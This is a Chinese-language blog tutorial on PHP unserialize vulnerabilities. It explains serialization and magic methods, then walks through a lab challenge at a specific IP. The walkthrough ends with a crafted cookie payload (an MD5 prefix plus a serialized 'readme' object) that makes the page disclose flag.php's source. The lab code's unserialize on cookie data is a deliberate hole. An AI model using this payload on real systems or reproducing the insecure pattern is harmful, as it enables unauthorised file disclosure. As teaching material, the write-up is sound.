unserialize反序列化漏洞

什么是序列化?

序列化(serialize)是将对象的状态信息转换为可以存储或传输的形式过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。【将状态信息保存为字符串】

简单的理解:将php中 对象、类、数组、变量、匿名函数等,转化为字符串,方便保存到数据库或文件中

什么是反序列化?

序列化就是将对象的状态信息转为字符串存储起来,那么反序列化就是再将这个状态信息拿出来使用。(重新再转化为对象或者其他的)【将字符串转化为状态信息】

当在php中创建了一个对象后,可以通过serialize()把这个对象转变成一个字符串,保存对象的值方便之后的传递与使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<meta charset="utf-8">
<?php
show_source(__FILE__);
class chybeta{
var $test='123';
}
$class1 = new chybeta; //新建对象
$class1_ser=serialize($class1);
echo "<hr>";
print_r($class1_ser);
// 0:7:"chybeta":1:{s:4:"test";s:3:"123";}
//变量类型:类名长度:类名:属性数量:
//{属性类型:属性名长度:属性名;属性值类型:属性值内容;}
// 0表示object对象,7表示对象的名称有7个字符
//chybeta 对象名称 1 表示只有一个值
//{s:4:"test";s:3:"123";}
//s 表示string 字符串 4 表示test 字符串长度
?>

与serialize()对应的,unserialize()可以从已存储的表示中创建php的值,单就本次环境而言,可以从序列化后的结果中恢复对象(object)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<meta charset="utf-8">
<?php
show_source(__FILE__);
class chybeta{
var $test='123';
}
$class2 = 'O:7:"chybeta":1:{s:4:"test";s:3:"124";}'; //
$class2_unser=unserialize($class2);
echo "<hr>";
print_r($class2_unser);
// O:7:"chybeta":1:{s:4:"test";s:3:"124";}
// O:7:"chybeta":1:{s:4:"test";s:3:"124";}
//变量类型:类名长度:类名:属性数量:
//{属性类型:属性名长度:属性名;属性值类型:属性值内容;}
// O表示object对象,7表示对象的名称有7个字符
//chybeta 对象名称 1 表示只有一个值
//{s:4:"test";s:3:"123";}
//s 表示string 字符串 4 表示test 字符串长度
?>

本质上serialize()和unserialize()在php内部实现上是没有漏洞的,漏洞的主要产生是由于应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的。

当传给unserialize()的参数可控时,那么用户就可以注入精心构造的payload。当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。

php中有一类特殊的方法叫”Magic function”(魔术方法),这里我们着重关注一下几个:

1、__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。(构造函数)

2、__destruct():当对象呗销毁时会自动调用。(析构函数)

3、__wakeup():如前所提,unserialize()时会自动地调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
show_source(__FILE__);
class chybeta{
var $test = '123';
function __wakeup(){
echo "__wakeup"." //"."unserialize()会检查是否存在一个__wakeup()方法。 如果存在,则会先调用__wakeup方法, 预先准备对象需要";
}
function __construct(){
echo "__construct";
}
function __destruct(){
echo "__destruct"." //"."析构函数会在某个对象的所有引用都被删除或者当对象被显式销毁时执行";
}
}
$class2='O:7:"chybeta":1:{s:4:"test";s:3:"124";}';
print_r($class2);
$class2_unser=unserialize($class2);
//print_r($class2_unser);
//echo "</br>";//php脚本结束,释放__destruct
?>

首先来了解下“__toString()”方法,当打印一个对象时,如果定义了“__toString()”方法,就能在测试时,通过echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据。

封神台靶场:http://59.63.200.79:8010/uns/index.php?source
同时发现$s->source=__FILE__存在可控变量

img

尝试构造序列化对象

img

1
2
3
4
5
6
Class readme{
public function __toString()
{
return highlight_file('Readme.txt', true).highlight_file($this->source, true);
}
}

——tostring()魔术方法,当输出一个文件对象时,将其转化为字符串输出,且显示为代码高亮;

1
2
3
4
5
6
if(isset($_GET[‘source’])){
$s = new readme();
$s->source = FILE__;
echo $s;
exit;
}

获取get传参中source的值(有的话),$S新生成一个对象,对象中的source属性指向为__FILE__(即目录本身、当前路径),输出$_s这个对象(当然输出时为自动调用__ToString()魔术方法)。最后有一个exit,执行这一块会退出,所以我们不能让这一块执行,所以不能有get传参。

1
2
3
4
5
6
7
8
if(isset($_COOKIE[‘todos’])){
$c = $_COOKIE[‘todos’];
$h = substr($c, 0, 32);
$m = substr($c, 32);
if(md5($m) === $h){
$todos = unserialize($m);
}
}

这一块是对cookie的检测和执行,并且有反序列化函数unserialize(),所以这一块是我们需要操作的。这一段代码首先获取传入的cookie值赋值给$c,并且cookie的前三十二位值赋值给$h,后面的赋值给$m,如果后三十二位MD5编码结果与前三十二位相同,则为$todos赋值$m作为参数反序列化执行的结果。配合下面一段代码遍历输出$todos。

1、

  • 直接输出,则会调用__toString()方法

    2、而在 $s->source = FILE; 存在可控变量

    3、想要读取flag.php则需要满足条件md5($m) === $h

    4、所以我们尝试构造 $m = serialize($todos)和$h = md5($m)满足这两个条件

    1
    2
    3
    <?php foreach($todos as $todo):?>
    <li><?=$todo?></li>
    <?php endforeach;?>

    再下面一段是关于POST传参的判断执行(没有反序列化函数,不能利用):

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    if(isset($_POST[‘text’])){
    $todo = $_POST[‘text’];
    $todos[] = $todo;
    $m = serialize($todos);
    $h = md5($m);
    setcookie(‘todos’, $h.$m);
    header(‘Location: ‘.$_SERVER[‘REQUEST_URI’]);
    exit;
    }
    ?>

    然后我们就要利用cookie的传参来读取flag.php这一文档

    1
    $c = $_COOKIE['todos']; => 我们传入的

    img

    img

    ;转为url编码%3b

    e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0%3bO:6:”readme”:1:{s:6:”source”%3bs:8:”flag.php”%3b}}

    复制到cookie里面直接读出flag.php源码

    img

    img

    本文标题:unserialize反序列化漏洞

    文章作者:孤桜懶契

    发布时间:2021年04月11日 - 19:46:40

    最后更新:2021年10月20日 - 13:11:23

    原始链接:https://gylq.gitee.io/posts/20.html

    许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

    -------------------本文结束 感谢您的阅读-------------------